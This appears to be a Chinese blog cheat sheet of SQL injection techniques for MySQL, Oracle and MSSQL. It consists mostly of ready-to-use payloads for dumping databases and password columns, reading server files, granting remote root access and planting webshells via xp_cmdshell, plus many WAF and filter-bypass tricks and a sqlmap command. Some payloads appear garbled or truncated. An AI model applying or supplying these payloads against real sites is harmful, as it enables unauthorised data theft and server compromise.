SQL注入類型有哪些

前言

sql注入的攻擊方式根據應用程序處理數據庫返回內容的不同,可以分為可顯注入、報錯注入和盲注。

可顯注入

攻擊者可以直接在當前界面內容中獲取想要獲得的內容。

報錯注入

數據庫查詢返回結果并沒有在頁面中顯示,但是應用程序將數據庫報錯信息打印到了頁面中,所以攻擊者可以構造數據庫報錯語句,從報錯信息中獲取想要獲得的內容。

盲注

數據庫查詢結果無法從直觀頁面中獲取,攻擊者通過使用數據庫邏輯或使數據庫庫執行延時等方法獲取想要獲得的內容。

mysql 手工注入

lian合注入

?id=1' order by 4--+  ?id=0' union select 1,2,3,database()--+  ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+  ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+  group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name  ?id=0' union select 1,2,3,group_concat(password) from users --+  group_concat 可替換為 concat_ws(',',id,users,password )  ?id=0' union select 1,2,3,password from users limit 0,1--+

報錯注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));  爆庫:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +  爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +  爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +  爆數據:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +  concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 盲注

時間盲注

常用函數 sleep()

分割函數 substr、substring、left

分割函數編碼后可不用引號,ASCII() hex()

一般時間盲注我們還需要使用條件判斷函數

if(expre1,expre2,expre3)

當 expre1 為 true 時,返回 expre2,false 時,返回 expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+  ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布爾盲注

?id=1' and substr((select user()),1,1)='r' -- +  ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +  //如果 IFNULL 第一個參數的表達式為 NULL,則返回第二個參數的備用值,不為 Null 則輸出值  ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +  //若所有的字符串均相同,STRCMP() 返回 0,若根據當前分類次序,第一個參數小于第二個,則返回 -1 ,其它情況返回 1 insert,delete,update

這種注入會出現在 注冊、ip頭、留言板等等需要寫入數據的地方,如用sqlmap會產生大量垃圾數據

嘗試性插入、引號、雙引號、轉義符 讓語句不能正常執行,然后如果插入失敗,更新失敗,然后深入測試確定是否存在注入
二次注入和寬字節注入

二次注入:

沒有單引號的sql語句中,進行16進制編碼,這樣就不會帶有單引號

寬字節注入:

單引號轉義為 ‘ , mysql 會將 編碼為 %5c ,寬字節中兩個字節代表一個漢字,所以把 %df 加上 %5c 就變成了一個漢字“運”,從而繞過轉義
oracle 手工注入
lian合注入

?id=-1' union select user,null from dual--  ?id=-1' union select version,null from v$instance--  ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--  ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--  ?id=-1' union select username,passwd from users--  ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

報錯注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--  ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--  ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--  ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布爾盲注

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--  ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--  ?id=1' and ascii(substr(user,1,1))> 64--

時間盲注

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--  ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

SQL手工注入
判斷注入點是否存在

數字型注入

url后輸入

and 1=1

and 1=2

如返回不同,則可判斷注入點存在

例:

http://www.xxx.cn/news.php?p=1&id=4′ 返回錯誤

http://www.xxx.cn/news.php?p=1&id=4 and 1=1 返回正確

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 返回錯誤

字符型注入

url后輸入

‘ and 1=1 and ‘1’=’1

‘ and 1=2 and ‘1’=’1

http://www.xxx.cn/news.php?p=1&id=4′ 返回錯誤

http://www.xxx.cn/news.php?p=1&id=4′ and 1=1 and ‘1’=’1 返回正確

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 and ‘1’=’1 返回錯誤

搜索型注入

輸入框中輸入

‘ 返回錯誤

x%’ and 1=1 and ‘%’=’ 返回正確

x%’ and 1=2 and ‘%’=’ 返回錯誤
判斷字段數

數字型

http://www.xxx.cn/news.php?p=1&id=4 order by 26 返回正確

http://www.xxx.cn/news.php?p=1&id=4 order by 27 返回錯誤

得出結論:字段數26。

字符型

http://www.xxx.cn/news.php?p=1&id=4′ order by 26 # 返回正確

http://www.xxx.cn/news.php?p=1&id=4′ order by 27 # 返回錯誤

得出結論:字段數26。

搜索型

x%’ order by 26 # 返回正確

x%’ order by 27 # 返回錯誤

得出結論:字段數26。
尋找可顯示字段

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,3,4,5,6,7,8,9,….

字符型

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #

搜索型

x%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #
查數據庫名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,….

字符型

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #

搜索型

x%’ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #
查數據庫中表名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’數據庫名’

數據庫名也可以使用十六進制

字符型

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’數據庫名’ #

數據庫名也可以使用十六進制

搜索型

X%’ and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,…. from information_schema.tables where table_schema=’數據庫名’ #

數據庫名也可以使用十六進制
查表中的列名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’

表名也可以使用十六進制

字符型

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’ #

表名也可以使用十六進制

搜索型

x%’ and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,…. from information_schema.columns where table_name=’表名’ #

表名也可以使用十六進制
查表中的數據

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

http://www.xxx.cn/news.php?p=1&id=4′ and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

x%’ and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,…. from 表名 #

顯示版本:select version();

顯示字符集:select @@character_set_database;

顯示數據庫show databases;

顯示表名:show tables;

顯示計算機名:select @@hostname;

顯示系統版本:select @@version_compile_os;

顯示mysql路徑:select @@basedir;

顯示數據庫路徑:select @@datadir;

顯示root密碼:select User,Password from mysql.user;

開啟外連:GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
MySQL函數利用

MySQL提供了load_file()函數,可以幫助用戶快速讀取文件,但是文件位置必須在服務器上,文件路徑必須為絕對路徑,而且需要root權限

SQL語句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #

通常,一些防注入語句不允許單引號的出現,那么可以使用一下語句繞過:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

對路徑進行16進制轉換。
mssql手工注入

與SQL注入不同的是,SQL利用的爆出顯示的字段,MSSQL利用的報錯注入,插入惡意的sql語句,讓查詢報錯,在報出的錯誤中,顯示我們想要的信息。

注入點:

www.xxx.cn/xxx/xxx.aspx?id=1
查詢數據庫版本

@@version:MSSQL全局變量,表示數據庫版本信息。

測試語句:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以寫成“and 0/@@version>0”

報錯信息:

在將 nvarchar 值 ‘microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on windows NT 6.1

原因:

@@version是MSSQL的全局變量,如果我們在“?id=1”后面加上“and @@version>0”,那么“and”后面的語句會將“@@version”強制抓換成int類型與0比較大小,但是類型轉換失敗,所以就將數據庫信息暴露出來。
查詢計算機名稱

@@servername:MSSQL全局變量,表示計算機名稱。

報錯信息:

在將 nvarchar 值 ‘WINDOWS-XXXXXX‘ 轉換成數據類型 int 時失敗。
查詢當前數據庫名稱

db_name():當前使用的數據庫名稱。

報錯信息:

在將 nvarchar 值 ‘abc‘ 轉換成數據類型 int 時失敗。
查詢當前連接數據庫的用戶

User_Name():當前連接數據庫的用戶。

報錯信息:

在將 nvarchar 值 ‘dbo‘ 轉換成數據類型 int 時失敗。

注意: 如果看到dbo,那么多半當前數據庫的用戶是dba權限。
查詢其他數據庫名稱

爆其他數據庫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

報錯信息:

在將 nvarchar 值 ‘master‘ 轉換成數據類型 int 時失敗。

再爆其他的數據庫則這么寫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0

繼續的話要這么寫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’,’abc’))>0
查詢數據庫中的表名

查表名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0)>0

報錯信息:

在將 nvarchar 值 ‘depart‘ 轉換成數據類型 int 時失敗。

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’))>0

再繼續:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘depart’,’worker’))>0
查詢表中的列名或者是字段名

查字段名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’)>0

報錯信息:

在將 nvarchar 值 ‘ID‘ 轉換成數據類型 int 時失敗。

再爆其他字段:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’))>0

再繼續:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME=’depart’ and COLUMN_NAME not in(‘ID’,’NAME’))>0
爆數據

查詢數據:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

報錯信息:

在將 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 轉換成數據類型 int 時失敗。
寫入一句話木馬

如果數據的權限是dba,且知道網站絕對路徑的話,那么我們就可以用這個語句來寫一句話木馬進去:

asp木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” > d:KfSitekaifeng2.asp’–

aspx木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell ‘echo “;”” >C:inetpubwwwroot2.aspx’ —

原理是sql server支持疊查詢,利用xp_cmdshell可以執行cmd指令,cmd指令中用【echo 內容 > 文件】可以寫文件到磁盤里面。
利用hex編碼繞過WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐瀏覽器中的hackbar工具的Encoding底下的“HEX Encoding”輕松把字符串編碼成為可以利用的hex,然后利用報錯注入就可以注入這個網站。
爆數據庫版本

select convert(int,@@version)

hex編碼后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

然后使用如下方式注入:

http://www.xxx.com/xxx/xxx.aspx?username=xxx’;dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

報錯信息:

在將 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 轉換成數據類型 int 時失敗。

注意后面的注入語句:

dEcLaRe @s vArChAr(8000) //聲明一個局部變量@s,類型為varchar(8000)

sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //給@s賦值,為“select convert(int,@@version)”的十六進制編碼

eXeC(@s) //調用函數exec()執行“@s”中的內容。
爆當前數據庫

select convert(int,db_name())
爆當前用戶

select convert(int,User_Name())
爆表

select convert(int,(select top 1 name from abc[數據庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[數據庫名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段

select convert(int,(select top 1 COLUMN_NAME from abc[數據庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[數據庫名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆數據

select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
SQL注入之你問我答小知識

1.id-1,頁面如果返回正確頁面說明是有注入,那+1可以嗎?(www.test.com/xsn.php?id=12+1)

不行,因為加號在url里面是空格的意思。

2.你知道mysql里有幾種注釋方式嗎?

三種:①.# 這個注釋直到該行結束;②./注釋多行/;③.–+ 這個注釋直到該行結束。

第三種方法需要解釋一下,因為我之前不熟悉這種寫法。雖然對于‘-’作為注釋符還有一些印象,但‘-+’卻讓我頭痛。其實是– ,注意–的后面有一個空格。如果在URL中直接輸入空格,瀏覽器會自動忽略它并無法傳遞到數據庫。所以特意用加號代替。

3.“select select * from admin”可以執行嗎?倘若不可以請說明。

不可以執行,在使用select雙層的時候要把第二個括起來,否則無效。

如果空格被過濾掉了,你知道有哪些可以繞過嗎?或者說你知道哪些字符可以替代空格?這些字符被稱為空白字符。比如un%0aion會被當做union來處理。 假如空格被過濾了,可能的sql語句就會變成:select from messages where uid=45or1=1,我們可以使用//來替換空格: http://www.xxx.com/index.php?id=45//or/**/1=1 另外: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ 都可以替代空格。

5.Windows下的Oracle數據庫是什么權限? Windows下的Oracle數據庫,必須以system權限運行。

6.SQL注入和SQL盲注有何差別?

在常規的SQL注入中,應用返回數據庫中的數據并呈現給你,而在SQL盲注漏洞中,你只能獲取分別與注入中的真假條件相對應的兩個不同響應,應用會針對真假條件返回不同的值,但是攻擊者無法檢索查詢結果。

7.什么是引發SQL注入漏洞的主要原因?

Web應用未對用戶提供的數據進行充分審查和未對輸出進行編碼是產生問題的主要原因。

8.什么是堆疊查詢(stacked query)?

在單個數據庫連接中,執行多個查詢序列,是否允許堆疊查詢是影響能否利用SQL注入漏洞的重要因素之一。

在MYSQL中,SELECT * FROM members; DROP members;是可以執行的,數據庫是肯定支持堆疊查詢的,但是讓php來執行堆疊查詢的sql語句就不一定行了。

/*! … */

是啥意思?

MYSQL數據庫特有,如果在注釋的開頭部分添加一個感嘆號并在后面跟上數據庫版本編號,那么該注釋將被解析成代碼,只要數據庫版本高于或者等于注釋中包含的版本,代碼就會被執行。

select 1 /!40119 + 1/

該查詢結果:

返回2(MySQL版本為4.01.19或者更高)

返回1(其他情況)

10.如果注入語句中的‘=’被過濾?

可以考慮使用like關鍵字替換:union select password from users where username like admin;

11.如果空格被過濾? 可以考慮使用‘/**/’替換:

union//select//password//from//users//where//username//like//admin;

注意,如果過濾了關鍵字,在MySQL中,還可以在關鍵字內部使用內聯注釋來繞過:

uni//on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12.SQL注入中的‘+’?

MSSQL:在MSSQL中,“+”運算符被用于字符串連接和加法運算,‘1’+‘1’=‘11’,1+1=2;

MySQL:在MySQL中,“+”運算符只被用于加法運算,‘1’+‘1’=‘2’,1+1=2;

Oracle:在Oracle中,“+”運算符只被用于加法運算,‘1’+‘1’=‘2’,1+1=2。

13.數據庫中字符串的連接符?

MSSQL:‘a’+‘b’=‘ab’

MYSQL:‘a’ ‘b’=‘ab’

Oracle:‘a’||‘b’=‘ab’

14.注釋符

MSSQL:‘– ’(注意后面的空格),‘/…/’

MySQL:‘– ’,‘# ’,‘/…/’,注意,–后面必須要有一個或者多個空格。

Oracle:‘– ’,‘/…/’

三種數據庫中,通用的注釋符是‘– ’
WAF繞過
規則層面的繞過
SQL注釋符繞過

union/**/select

union/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

內連注釋:/!xxxx/
空白符號繞過:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正則的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函數分隔符號:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮點數詞法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=Nunion select

1,2,3,4,5,6,7,8,9,0
利用Error_based進行SQL注入:

Error-based SQL注入函數非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));  updatexml(1,concat(0x5d,md5(3)),1);  GeometryCollection((select * from (select * from  (select@@version)f)x))  polygon((select*from (select name_const(version(),1))x))  linestring()  multipoint()  multilinestring()  multipolygon()

MySQL特殊語法

select{x table_name}from{x information_schema.tables};
每一個點都能找到繞過的方法

以注釋繞過為例子,開始Fuzz

注釋符繞過:

*先測試最基本的: union/**/select

*再測試中間引入特殊字:union/aaaa%01bbs/select

*最后測試注釋長度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小寫繞過

即使在程序中設置了過濾關鍵字,但由于過濾過程中沒有深入分析組成關鍵字的部分,所以只能對整體進行過濾。

例如:and過濾。當然這種過濾只是發現關鍵字出現,并不會對關鍵字處理。可以通過修改關鍵字的內字母大小寫來繞過過濾措施。
常規繞過手段
雙寫繞過

如果在程序中設置遇到關鍵字時將其替換為一個空字符串,那么將不會發生SQL注入攻擊。對于這樣的過濾策略可以使用雙寫繞過。因為在過濾過程中只進行了一次替換。

例如:過濾了union 只要發現union 無論大小寫都會被替換為空。這是就可以通過雙寫uniunionon的寫法來對過濾進行繞過。
編碼繞過

可以利用網絡中的URl在線編碼,繞過SQL注入的過濾機制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
內聯注釋繞過

在Mysql中內容注釋中的內容可以被當做SQL語句執行。
繞過過濾and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小寫不敏感,大寫和小寫一樣。

2、Mysql中的十六進制與URL編碼。

3、符號和關鍵字替換 and –> &&、or –> ||

4、內聯注釋與多行注釋 /!內聯注釋/ /多行注釋/。

5、Mysql中會自動識別URL與Hex編碼好的內容。

繞過策略:

1、大小寫變形,or,OR,oR,Or,and,And,AND,aND等。

2、在這兩個敏感詞匯中添加注釋,例如:a/**/and 雙寫:oorr

3、利用符號替代 and–>&&、or–>||
繞過去除空格的SQL注入

編碼:hex,urlencode

空格URL編碼:

%0a 新建一行

%0c 新的一頁

%0d return功能

%0b TAB鍵(垂直)

Sqlmap安全檢測:

sqlmap -u “URL” –hex –dbs –batch
繞過去除(union和select)的SQL注入

編碼%0a、加入/**/符,union/select大小寫、雙寫等繞過。

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享